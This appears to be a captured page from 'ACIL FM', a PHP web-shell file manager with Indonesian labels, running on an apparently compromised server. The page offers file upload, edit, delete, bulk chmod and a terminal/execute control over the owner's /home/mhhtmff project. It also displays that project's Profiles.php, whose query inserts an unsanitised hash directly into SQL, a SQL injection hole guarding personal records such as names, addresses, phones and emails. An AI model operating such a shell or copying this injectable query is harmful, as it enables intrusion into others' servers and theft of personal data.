ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/profiles/src/php
/
home
mhhtmff
profiles
src
php
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Business_profiles_view.php
3.99 MB
chmod
View
DL
Edit
Rename
Delete
Database.php
545 B
chmod
View
DL
Edit
Rename
Delete
Permissions.php
487 B
chmod
View
DL
Edit
Rename
Delete
Profiles.php
1.42 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/profiles/src/php/Profiles.php
<?php class Profiles { protected function check_hash($hash) { require "Database.php"; $db_class = new Database(); $conn = $db_class->local_db_connection(); $sql = "SELECT * FROM profiles_info WHERE hash='$hash';"; $stmt = mysqli_query($conn, $sql); if (!mysqli_num_rows($stmt) > 0) { $conn->close(); return "HashNotFound"; } $hash_data = mysqli_fetch_assoc($stmt); $conn->close(); if($hash_data["hash"] == $hash) { session_start(); $_SESSION["id"] = $hash_data["id"]; $_SESSION["name"] = $hash_data["name"]; $_SESSION["surname"] = $hash_data["surname"]; $_SESSION["address"] = $hash_data["address"]; $_SESSION["telephone"] = $hash_data["telephone"]; $_SESSION["title"] = $hash_data["title"]; $_SESSION["company"] = $hash_data["company"]; $_SESSION["department"] = $hash_data["department"]; $_SESSION["email"] = $hash_data["email"]; $_SESSION["complete_name"] = $hash_data["complete_name"]; $_SESSION["website"] = $hash_data["website"]; $_SESSION["photo_base64"] = $hash_data["photo_base64"]; $_SESSION["hash"] = $hash_data["hash"]; return "HashFound"; } else { return "HashNotFound"; } } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply